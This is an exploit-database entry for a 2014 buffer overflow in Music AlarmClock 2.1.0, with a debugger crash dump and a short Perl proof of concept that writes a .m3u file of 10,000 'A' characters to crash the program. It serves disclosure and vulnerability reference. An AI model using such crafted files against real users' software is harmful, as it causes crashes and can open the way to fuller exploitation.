header-logo
Suggest Exploit
vendor:
Music AlarmClock
by:
Gabor Seljan
7,5
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: Music AlarmClock
Affected Version From: 2.1.0
Affected Version To: 2.1.0
Patch Exists: YES
Related CWE: N/A
CPE: a:music_alarmclock:music_alarmclock
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2014

Music AlarmClock 2.1.0 (.m3u) Crash PoC

This PoC exploits a buffer overflow vulnerability in Music AlarmClock 2.1.0. The vulnerability is triggered when a specially crafted .m3u file is opened, causing a crash. The PoC creates a file with 10000 A's, which when opened in Music AlarmClock 2.1.0, causes a crash.

Mitigation:

Upgrade to the latest version of Music AlarmClock.
Source

Exploit-DB raw data:

#------------------------------------------------------------------------------------#
# Exploit Title: Music AlarmClock 2.1.0 (.m3u) Crash PoC                             #
# Date: Feb 25 2014                                                                  #
# Exploit Author: Gabor Seljan                                                       #
# Software Link: http://download.cnet.com/Music-AlarmClock/3000-2350_4-10419263.html #
# Version: 2.1.0                                                                     #
# Tested on: Windows XP SP3                                                          #
#------------------------------------------------------------------------------------#

# (a10.9e8): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=00000000 ecx=7ffdd000 edx=41414161 esi=00153700 edi=0012df10
# eip=7c90100b esp=0012d5c8 ebp=0012d5d0 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202

#!/usr/bin/perl

use strict;
use warnings;

my $filename = "poc.m3u";

my $junk = "A" x 10000;

open(FILE, ">$filename") || die "[-]Error:\n$!\n";
print FILE $junk;
close(FILE);

print "Exploit file created successfully [$filename]!\n";